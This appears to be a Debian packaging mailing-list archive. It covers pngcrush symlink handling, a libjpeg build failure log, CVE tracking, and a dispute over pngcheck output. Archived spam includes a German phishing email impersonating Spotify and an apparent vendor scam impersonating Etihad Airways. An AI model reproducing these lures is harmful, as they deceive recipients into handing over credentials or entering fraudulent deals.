 ?= write through soft links or bail out on soft links or at least
 warn on soft links
In-Reply-To: <6900f3a8-e91e-44f8-9b7d-2001b210bf6b@sina.com>
References: <d465f8d4-0056-433c-b706-6e28d226daf7@ro.ru>
 <6900f3a8-e91e-44f8-9b7d-2001b210bf6b@sina.com>
 <d465f8d4-0056-433c-b706-6e28d226daf7@ro.ru>
Message-ID: <f95258e7-4af6-4087-b22f-ddd0357a4d2d@ro.ru>

>> for file in *.png; do pngcrush -ow $file; done
>>
>> In this situation, if the current directory contains a mixture of links with the extension .png and regular .png files, all the soft links will be silently turned into regular files, and their origins get forgotten forever.
> The origins still on the disk.

Yes, and if the disk has lots of PNG images, the origins (the sources of the prior soft links) cannot be reconstructed in acceptable time. (For example, we'd have to compress or convert each PNG file into a unique form and then search for the duplicates.)

>> At the very least, pngcrush should warn the caller or simply bail out with an error message and a nonzero error code. In my personal use cases, I need the tool to write through a soft link. (An alternative solution, though an overkill for me, would be to have an option, say, ?-dereference?, which would allow for writing through a soft link specified with the option ?-ow? and bailing out on a soft link if ?-dereference? is not supplied.)
>>
> The pngcrush only a simple tool.
> 
> The filesystem links is a little complex for such a simple tool.
> 
Yes, and there is a difference between the current complexity of the tool and the complexity that a flawless implementation of ?-ow? would involve. In my understanding, this implementation has to be re-written from scratch because of https://bugs.debian.org/913268 anyway.


From MdAyq6 at ro.ru  Sat Jun  6 07:41:03 2026
From: MdAyq6 at ro.ru (Md Ayquassar)
Date: Sat, 6 Jun 2026 08:41:03 +0200
Subject: Bug#1138812: The tool is no longer simple
In-Reply-To: <handler.1138812.B1138812.1780715488583999.ackinfo@bugs.debian.org>
References: <f95258e7-4af6-4087-b22f-ddd0357a4d2d@ro.ru>
 <handler.1138812.B1138812.1780715488583999.ackinfo@bugs.debian.org>
 <d465f8d4-0056-433c-b706-6e28d226daf7@ro.ru>
Message-ID: <ea16507e-b731-4810-9cfb-2955349f28b1@ro.ru>

Concerning ?such a simple tool?: I don't wish to split hairs, but, given the sheer number of options in the meantime, I do not think that the tool is really that simple.


From junioreditor at dbcorp.in  Sat Jun  6 20:12:12 2026
From: junioreditor at dbcorp.in (=?UTF-8?B?U3BvdGlmeSBTaWNoZXJoZWl0?=)
Date: Sun, 07 Jun 2026 00:42:12 +0530
Subject: =?UTF-8?B?Qml0dGUgYmVzdMOkdGlnZW4gU2llIElocmUgU3BvdGlmeS1Lb250b2VpbnN0ZWxsdW5nZW4=?=
Message-ID: <sqpkwg17807715612105642@dbcorp.in>




	
	
	
	



	
		
			
		
		
			
			
				
					
						
						Bitte genehmigen Sie Ihre Spotify-Kontoeinstellungen

						Sehr geehrter Kunde,

						Um die volle Funktionalit?t und Sicherheit Ihres Kontos zu gew?hrleisten, bitten wir Sie, Ihre Spotify-Kontoeinstellungen zu best?tigen.

						Was Sie tun sollten:
						? Best?tigen Sie Ihre aktuellen Einstellungen
						? Pr?fen Sie Ihre pers?nlichen Daten
						?
						Klicken Sie auf die Schaltfl?che unten, um fortzufahren.
						
						
					
				
			
			
		
		
			Einstellungen best?tigen
		
		
			
			Warum best?tigen?
			? Nur wenige Minuten erforderlich
			? Ihre Daten bleiben sicher
			? Entspricht den aktuellen Vorschriften
			?
			Mit freundlichen Gr??en,
			Ihr Spotify-Team
			
		
		
			
			Dies ist eine automatische Nachricht. Bitte nicht antworten.

			? Spotify 2025 ? Alle Rechte vorbehalten.
			
		
	

?

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260607/3744d4c3/attachment.htm>

From adm-gmarabese at hes.it  Mon Jun  8 15:43:34 2026
From: adm-gmarabese at hes.it (Etihad Aviation)
Date: Mon, 8 Jun 2026 07:43:34 -0700
Subject: Invitation to Become an Approved Supplier for Etihad Airways
Message-ID: <083420260643071637DA4BDB$C2628DA88F@hes.it>


Dear Sir/Madam,

We are to inform you that Etihad Airways is currently qualifying and interested companies for participation in the Etihad Project for the 2026-2028 period. We are seeking reliable and experienced contractors, vendors, and suppliers capable of providing essential services and products in support of this project.

Our partnerships are driven by shared values, innovation, and a commitment to operational excellence. We welcome qualified vendors, contractors, and service providers across the following categories:

Aircraft Supply, Leasing & Engineering Services, MRO & Technical Services, Ground Handling & Airport Operations, Cargo, Logistics & Fuel Supply Services, Catering, In-Flight & Hospitality Services, IT, Software, Cybersecurity & Telecommunications, Marketing, Branding & Media Services, Procurement, Supply Chain & Consulting Services, Construction, Infrastructure & Facilities Management, Safety, Security & Compliance Services, Training, Recruitment & HR Services, Financial, Legal & Insurance Services, Etc.

Should your company be interested in participating, indicate your interest so that we may forward the Expression of Interest (EOI) Acceptance Form and Vendor Questionnaire for your completion.

If you are interested in becoming an approved supplier or service provider, request the Pre-Qualification & Expression of Interest (EOI) Form by contacting us.

We look forward to building a successful partnership with your organization.

Khalid Abdullah
Etihad Airways
New Airport Road
Khalifa City A
P.O. Box 35566
Abu Dhabi
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260608/b1d44c23/attachment.htm>

From debian-bts-link at lists.debian.org  Mon Jun  8 18:34:38 2026
From: debian-bts-link at lists.debian.org (debian-bts-link at lists.debian.org)
Date: Mon, 08 Jun 2026 17:34:38 +0000
Subject: [bts-link] source package src:jpeg-xl
Message-ID: <178094007819.1752911.3169361268849264910.btslink@sonntag.debian.org>

#
# bts-link upstream status pull for source package src:jpeg-xl
# see http://lists.debian.org/debian-devel-announce/2006/05/msg00001.html
#     https://bts-link-team.pages.debian.net/bts-link/
#

user debian-bts-link at lists.debian.org

# remote status report for #1138575 (http://bugs.debian.org/1138575)
# Bug title: jpeg-xl: CVE-2025-70103
#  * https://github.com/libjxl/libjxl/issues/4337
#  * remote status changed: (?) -> closed
#  * closed upstream
tags 1138575 + fixed-upstream
usertags 1138575 + status-closed

thanks


From owner at bugs.debian.org  Mon Jun  8 18:37:17 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Mon, 08 Jun 2026 17:37:17 +0000
Subject: Processed: [bts-link] source package src:jpeg-xl
References: <178094007819.1752911.3169361268849264910.btslink@sonntag.debian.org>
Message-ID: <handler.s.C.17809400822308068.transcript@bugs.debian.org>

Processing commands for control at bugs.debian.org:

> #
> # bts-link upstream status pull for source package src:jpeg-xl
> # see http://lists.debian.org/debian-devel-announce/2006/05/msg00001.html
> #     https://bts-link-team.pages.debian.net/bts-link/
> #
> user debian-bts-link at lists.debian.org
Setting user to debian-bts-link at lists.debian.org (was debian-bts-link at lists.debian.org).
> # remote status report for #1138575 (http://bugs.debian.org/1138575)
> # Bug title: jpeg-xl: CVE-2025-70103
> #  * https://github.com/libjxl/libjxl/issues/4337
> #  * remote status changed: (?) -> closed
> #  * closed upstream
> tags 1138575 + fixed-upstream
Bug #1138575 [src:jpeg-xl] jpeg-xl: CVE-2025-70103
Added tag(s) fixed-upstream.
> usertags 1138575 + status-closed
There were no usertags set.
Usertags are now: status-closed.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
1138575: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1138575
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems


From sanvila at debian.org  Tue Jun  9 11:50:30 2026
From: sanvila at debian.org (Santiago Vila)
Date: Tue, 09 Jun 2026 10:50:30 +0000
Subject: Bug#1139539: libjpeg: FTBFS: make[1]: *** No rule to make target
 '/<<PKGBUILDDIR>>/Makefile_Settings.x86_64'. Stop.
Message-ID: <E1wWu2Q-00As0t-1e@paradis.debian.org>

Package: src:libjpeg
Version: 0.0~git20250815.25f7128-2
Severity: serious
Tags: ftbfs forky sid

Dear maintainer:

During a rebuild of all packages in unstable, this package failed to build.

Below you will find the last part of the build log (probably the most
relevant part, but not necessarily). If required, the full build log
is available here:

https://people.debian.org/~sanvila/build-logs/202606/

About the archive rebuild: The build was made on virtual machines from AWS,
using sbuild and a reduced chroot with only build-essential packages.

If you cannot reproduce the bug please contact me privately, as I
am willing to provide ssh access to a virtual machine where the bug is
fully reproducible.

If this is really a bug in one of the build-depends, please use
reassign and add an affects on src:libjpeg, so that this is still
visible in the BTS web page for this package.

Thanks.

--------------------------------------------------------------------------------
[...]
 debian/rules clean
dh clean
   debian/rules override_dh_auto_clean
make[1]: Entering directory '/<<PKGBUILDDIR>>'
/usr/bin/make realclean
make[2]: Entering directory '/<<PKGBUILDDIR>>'
make[2]: Leaving directory '/<<PKGBUILDDIR>>'
make[1]: Leaving directory '/<<PKGBUILDDIR>>'
   dh_clean
 debian/rules binary
dh binary
   dh_update_autotools_config
   dh_autoreconf
autoreconf: export WARNINGS=
autoreconf: Entering directory '.'
autoreconf: configure.ac: no obvious need to run autopoint
autoreconf: running: aclocal --force 
autoreconf: configure.ac: tracing
autoreconf: configure.ac: not using Libtool
autoreconf: configure.ac: not using Intltool
autoreconf: configure.ac: not using Gtkdoc
autoreconf: configure.ac: no need to run autopoint (confirmed)
autoreconf: running: /usr/bin/autoconf --force
configure.ac:52: warning: The macro 'AC_CONFIG_HEADER' is obsolete.
configure.ac:52: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:52: the top level
configure.ac:65: warning: The macro 'AC_PROG_CC_STDC' is obsolete.
configure.ac:65: You should run autoupdate.
./lib/autoconf/c.m4:1795: AC_PROG_CC_STDC is expanded from...
configure.ac:65: the top level
configure.ac:106: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:106: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:106: the top level
configure.ac:122: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:122: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:122: the top level
configure.ac:150: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:150: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:150: the top level
configure.ac:193: warning: The macro 'AC_HEADER_STDC' is obsolete.
configure.ac:193: You should run autoupdate.
./lib/autoconf/headers.m4:664: AC_HEADER_STDC is expanded from...
configure.ac:193: the top level
configure.ac:199: warning: The macro 'AC_HEADER_TIME' is obsolete.
configure.ac:199: You should run autoupdate.
./lib/autoconf/headers.m4:703: AC_HEADER_TIME is expanded from...
configure.ac:199: the top level
configure.ac:219: warning: The macro 'AC_PROG_GCC_TRADITIONAL' is obsolete.
configure.ac:219: You should run autoupdate.
./lib/autoconf/c.m4:1802: AC_PROG_GCC_TRADITIONAL is expanded from...
configure.ac:219: the top level
configure.ac:226: warning: The macro 'AC_TYPE_SIGNAL' is obsolete.
configure.ac:226: You should run autoupdate.
./lib/autoconf/types.m4:804: AC_TYPE_SIGNAL is expanded from...
configure.ac:226: the top level
configure.ac:239: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:239: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:239: the top level
configure.ac:246: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:246: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:246: the top level
configure.ac:254: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:254: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:254: the top level
configure.ac:262: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:262: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:262: the top level
configure.ac:277: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:277: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:277: the top level
configure.ac:287: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:287: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:287: the top level
configure.ac:295: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:295: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:295: the top level
configure.ac:302: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:302: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:302: the top level
configure.ac:309: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:309: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:309: the top level
configure.ac:318: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:318: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:318: the top level
configure.ac:361: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:361: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:361: the top level
configure.ac:371: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:371: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:371: the top level
configure.ac:383: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:383: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:383: the top level
configure.ac:391: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:391: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:391: the top level
configure.ac:397: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:397: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:397: the top level
configure.ac:415: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:415: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:415: the top level
configure.ac:431: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:431: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:431: the top level
configure.ac:447: warning: AC_LANG_CONFTEST: no AC_LANG_SOURCE call detected in body
./lib/autoconf/lang.m4:200: AC_LANG_CONFTEST is expanded from...
./lib/autoconf/general.m4:2950: _AC_LINK_IFELSE is expanded from...
./lib/autoconf/general.m4:2967: AC_LINK_IFELSE is expanded from...
configure.ac:447: the top level
configure.ac:487: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:487: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:487: the top level
configure.ac:502: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:502: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:502: the top level
configure.ac:521: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:521: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:521: the top level
configure.ac:533: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:533: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:533: the top level
configure.ac:549: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:549: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:549: the top level
configure.ac:562: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:562: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:562: the top level
configure.ac:576: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:576: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:576: the top level
configure.ac:582: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:582: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:582: the top level
configure.ac:588: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:588: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:588: the top level
configure.ac:593: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:593: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:593: the top level
configure.ac:598: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:598: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:598: the top level
configure.ac:607: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:607: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:607: the top level
configure.ac:613: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:613: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:613: the top level
configure.ac:618: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:618: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:618: the top level
configure.ac:637: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:637: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:637: the top level
configure.ac:652: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:652: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:652: the top level
configure.ac:681: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:681: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:681: the top level
configure.ac:687: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:687: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:687: the top level
configure.ac:694: warning: The macro 'AC_TRY_COMPILE' is obsolete.
configure.ac:694: You should run autoupdate.
./lib/autoconf/general.m4:2903: AC_TRY_COMPILE is expanded from...
configure.ac:694: the top level
configure.ac:817: warning: The macro 'AC_TRY_LINK' is obsolete.
configure.ac:817: You should run autoupdate.
./lib/autoconf/general.m4:2976: AC_TRY_LINK is expanded from...
configure.ac:817: the top level
configure.ac:846: warning: The macro 'AC_TRY_LINK' is obsolete.
configure.ac:846: You should run autoupdate.
./lib/autoconf/general.m4:2976: AC_TRY_LINK is expanded from...
configure.ac:846: the top level
configure.ac:850: warning: The macro 'AC_TRY_LINK' is obsolete.
configure.ac:850: You should run autoupdate.
./lib/autoconf/general.m4:2976: AC_TRY_LINK is expanded from...
configure.ac:850: the top level
configure.ac:866: warning: The macro 'AC_TRY_LINK' is obsolete.
configure.ac:866: You should run autoupdate.
./lib/autoconf/general.m4:2976: AC_TRY_LINK is expanded from...
configure.ac:866: the top level
autoreconf: running: /usr/bin/autoheader --force
autoreconf: configure.ac: not using Automake
autoreconf: configure.ac: not running make: --make not given
autoreconf: Leaving directory '.'
   dh_auto_configure
	./configure --build=x86_64-linux-gnu --prefix=/usr --includedir=\${prefix}/include --mandir=\${prefix}/share/man --infodir=\${prefix}/share/info --sysconfdir=/etc --localstatedir=/var --disable-option-checking --disable-silent-rules --libdir=\${prefix}/lib/x86_64-linux-gnu --runstatedir=/run --disable-maintainer-mode --disable-dependency-tracking
checking whether the C++ compiler works... yes
checking for C++ compiler default output file name... a.out
checking for suffix of executables... 
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether the compiler supports GNU C++... yes
checking whether x86_64-linux-gnu-g++ accepts -g... yes
checking whether the compiler supports GNU C... yes
checking whether x86_64-linux-gnu-gcc accepts -g... yes
checking for x86_64-linux-gnu-gcc option to enable C23 features... none needed
checking for stdio.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for strings.h... yes
checking for sys/stat.h... yes
checking for sys/types.h... yes
checking for unistd.h... yes
checking for sys/time.h... yes
checking whether byte ordering is bigendian... no
checking for long long... yes
checking for unsigned long long... yes
checking for __int64... no
checking size of char... 1
checking size of short... 2
checking size of int... 4
checking size of long... 8
checking size of long long... 8
checking size of __int64... 0
checking size of void *... 8
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for an ANSI C-conforming const... yes
checking for inline... inline
checking for size_t... yes
checking whether stat file-mode macros are broken... no
checking for fcntl.h... yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for strings.h... (cached) yes
checking for signal.h... yes
checking for unistd.h... (cached) yes
checking for stdarg.h... yes
checking for errno.h... yes
checking for stdio.h... (cached) yes
checking for bstring.h... no
checking for bstrings.h... no
checking for ctype.h... yes
checking for setjmp.h... yes
checking for stddef.h... yes
checking for time.h... yes
checking for sys/time.h... (cached) yes
checking for sys/times.h... yes
checking for sys/param.h... yes
checking for assert.h... yes
checking for math.h... yes
checking for netinet/in.h... yes
checking for stdint.h... (cached) yes
checking for int8_t... yes
checking for int16_t... yes
checking for int32_t... yes
checking for int64_t... yes
checking for uint8_t... yes
checking for uint16_t... yes
checking for uint32_t... yes
checking for uint64_t... yes
checking for error_at_line... yes
checking for working memcmp... yes
checking return type of signal handlers... void
checking for vprintf... yes
checking for gettimeofday... yes
checking for memchr... yes
checking for memmove... yes
checking for memset... yes
checking for strchr... yes
checking for strerror... yes
checking for strrchr... yes
checking for strtol... yes
checking for strtod... yes
checking for time... yes
checking for snprintf... yes
checking for vsnprintf... yes
checking for clock... yes
checking for gettimeofday... (cached) yes
checking for isspace... yes
checking for longjmp... yes
checking for malloc... yes
checking for free... yes
checking for open... yes
checking for close... yes
checking for read... yes
checking for write... yes
checking for lseek... yes
checking for rename... yes
checking for signal... yes
checking for sleep... yes
checking for fopen64... yes
checking for __builtin_memset... yes
checking for __builtin_memcpy... yes
checking for __builtin_memmove... yes
checking for __builtin_expect... yes
checking for the -Wimplicit-fallthrough compiler switch... yes
checking for the -Wno-class-memaccess compiler switch... yes
checking for the -Wno-deprecated-register compiler switch... yes
checking for the -fPIC compiler switch... yes
checking for llseek... no
checking for lseek64... yes
checking for htonl... yes
checking for htons... yes
checking for ntohl... yes
checking for ntohs... yes
checking for signal... (cached) yes
checking for sigaction... yes
checking for sigemptyset... yes
checking for pipe... yes
checking for dup... yes
checking for dup2... yes
checking for execve... yes
checking for fork... yes
checking for fstat... yes
checking for system... yes
checking for kill... yes
checking for sleep... (cached) yes
checking for struct timeval... yes
checking for ptrdiff_t... yes
checking for sysconf... yes
checking for times... yes
checking for struct tms... yes
checking for x86_64-linux-gnu-gcc options to detect undeclared functions... none needed
checking for x86_64-linux-gnu-gcc options to ignore future-version functions... none needed
checking whether _SC_CLK_TCK is declared... yes
checking whether CLK_TCK is declared... no
checking whether HZ is declared... yes
checking whether STDIN_FILENO is declared... yes
checking whether STDOUT_FILENO is declared... yes
checking whether STDERR_FILENO is declared... yes
checking for library containing exp... -lm
checking for __muldc3 in -lgcc_s... yes
checking whether argument type for signal handlers is "int"... yes
checking whether argument type for signal handlers is "..."... no
checking whether the GNU __attribute__ extension is available... yes
checking for the __null keyword... yes
checking whether integer constants are valid template arguments... yes
checking for atomic arithmetic functions __sync_add_and_fetch and __sync_fetch_and_sub... yes
checking for atomic __sync_val_compare_and_swap... yes
checking for worst-case structural alignment... 1
checking whether private subclasses have access to private members... yes
checking whether templates are in local namespace... yes
checking whether initializers of static const integral members work... yes
checking whether casting works in template arguments... yes
checking whether the noreturn attribute is available... yes
checking whether the always_inline attribute is available... no
checking whether __attribute__((visibility("hidden"))) is available for types... yes
checking whether __attribute__((visibility("internal"))) is available for types... yes
checking whether __attribute__((visibility("default"))) is available for types... yes
checking whether __attribute__((may_alias)) is available for types... yes
checking whether __attribute__((aligned)) is available for types... yes
checking for working const_cast<> capability... yes
checking for working reinterpret_cast<> capability... yes
checking for uniqueness of static members thru various derivation paths... yes
checking whether __restrict__ pointers are available... yes
checking for the -mfpmath=387 compiler switch... yes
checking for the -fvisibility=internal compiler switch... yes
checking for the -fPIC compiler switch... yes
configure: creating ./config.status
config.status: creating automakefile
config.status: creating autoconfig.h
   dh_auto_build
	make -j2
make[1]: Entering directory '/<<PKGBUILDDIR>>'
Makefile.template:32: /<<PKGBUILDDIR>>/Makefile_Settings.x86_64: No such file or directory
make[1]: *** No rule to make target '/<<PKGBUILDDIR>>/Makefile_Settings.x86_64'.  Stop.
make[1]: Leaving directory '/<<PKGBUILDDIR>>'
dh_auto_build: error: make -j2 returned exit code 2
make: *** [debian/rules:7: binary] Error 25
dpkg-buildpackage: error: debian/rules binary subprocess failed with exit status 2
--------------------------------------------------------------------------------


From MdAyq5 at ro.ru  Tue Jun  9 23:23:07 2026
From: MdAyq5 at ro.ru (Md Ayquassar)
Date: Wed, 10 Jun 2026 00:23:07 +0200
Subject: Bug#1132795: please remove "Resolution: (not specified)" line
 (upstream objections unfounded)
References: <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <f6890809-1de2-4573-9e4a-1ca4cf8fc619@ro.ru>

Dear xiao sheng wen,
dear Debian PhotoTools Maintainers,

I originally didn't want to call the author cognitively dishevelled, but him dismissing the Debian bug report as babble on a ?random other site? and then lecturing us on upstream interaction is just charming. ?Six words and a link is not a valid upstream bug report... you really do need to provide a meaningful report upstream? is so much a strong argument; it proves the author's ability to click and a willful, sooo good-faith move. ?given I am the one who gets to merge things surely that counts for something?? and ?I await someone making a convincing argument" prove convincing, final, unchallengeable, and unassailable authority. ?its super weird that you'd assume the use of a modern coding assistant implies some sort of professional incompetence on my part? elegantly transforms a missing chunk into missing respect ? super logical! ?The output is also trivial to work around if you don't like it. Just grep it away? is equivalent to defending a splinter in a chair by saying, ?Just sit a bit to the right; it's easy.?

Reformulating my #10, the phrasing ?Resolution: (not specified)? is misleading: the absence of pHYs does not say there is a ?not specified? value but means complete nonexistence including the tag name. Printing the line creates a bogus similarity with tags without data, tricking the reader into a belief that pHYs could contain nothing. Better, non?arbitrary: consistency with the prior behavior (omission for absent chunks such as sBIT).

The phrasing ?Resolution: (not specified)? is noisy, regardless of whether we look at the output, parse it, or diff it. Once the reads gets the pHYs semantics, the phrase serves no purpose. The ?deliberate change? (my suspicion is that it has been sooo much looked at) trades clarity for verbosity ? alas, without more insight.

The claim that one can ?just grep it away? is absurd. Requiring a user to post?process the output of a tool that claims to inspect PNG files is an admission that the tool's printout is broken by design.

In summary, removing the line when the PNG contains no pHYs would improve correctness and usability. I would be thankful to the Debian maintainers if I could kindly ask them to fix this regardless of the upstream author's, erm, hermeneutically challenged posture.

Gratefully,
Md

From MdAyq5 at ro.ru  Tue Jun  9 23:34:10 2026
From: MdAyq5 at ro.ru (Md Ayquassar)
Date: Wed, 10 Jun 2026 00:34:10 +0200
Subject: Bug#1132795: Typo correction
References: <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <a6b02909-a765-408d-b0f8-49f08caa1c0b@ro.ru>

Once the reads gets ?
->
Once the reader understands ?


From atzlinux at debian.org  Wed Jun 10 03:48:57 2026
From: atzlinux at debian.org (=?UTF-8?B?eGlhbyBzaGVuZyB3ZW4o6IKW55ub5paHKQ==?=)
Date: Wed, 10 Jun 2026 10:48:57 +0800
Subject: Bug#1132795: please remove "Resolution: (not specified)" line
 (upstream objections unfounded)
In-Reply-To: <f6890809-1de2-4573-9e4a-1ca4cf8fc619@ro.ru>
References: <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
 <f6890809-1de2-4573-9e4a-1ca4cf8fc619@ro.ru>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <5be0470b-8abe-4d11-80e6-fefeee4425e4@debian.org>

Hi,

? 2026/6/10 06:23, Md Ayquassar ??:

> Reformulating my #10, the phrasing ?Resolution: (not specified)? is misleading: the absence of pHYs does not say there is a ?not specified? value but means complete nonexistence including the tag name. Printing the line creates a bogus similarity with tags without data, tricking the reader into a belief that pHYs could contain nothing. Better, non?arbitrary: consistency with the prior behavior (omission for absent chunks such as sBIT).
> > The phrasing ?Resolution: (not specified)? is noisy, regardless of whether we look at the output, parse it, or diff it. Once the reads gets the pHYs semantics, the phrase serves no purpose. The ?deliberate change? (my suspicion is that it has been sooo much looked at) trades clarity for verbosity ? alas, without more insight.

If pHYs chunks not exist in the png file, not printout any info about "pHYs chunks" is also ok.

I'll try add a patch to do so and release a Debian revised release. 

> 
> The claim that one can ?just grep it away? is absurd. Requiring a user to post?process the output of a tool that claims to inspect PNG files is an admission that the tool's printout is broken by design.

Requiring a user to post?process the output of a tool, that should been acceptable.

Nothing is perfect complete, especially in the opensource world.


Regards,
-- 
??? xiao sheng wen -- Debian Developer(atzlinux)
Debian QA page: https://qa.debian.org/developer.php?login=atzlinux%40debian.org
Debian salsa: https://salsa.debian.org/atzlinux-guest
GnuPG Public Key: 0x00186602339240CB
-------------- next part --------------
A non-text attachment was scrubbed...
Name: OpenPGP_0x00186602339240CB.asc
Type: application/pgp-keys
Size: 39307 bytes
Desc: OpenPGP public key
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260610/236dcdb7/attachment-0001.asc>
-------------- next part --------------
A non-text attachment was scrubbed...
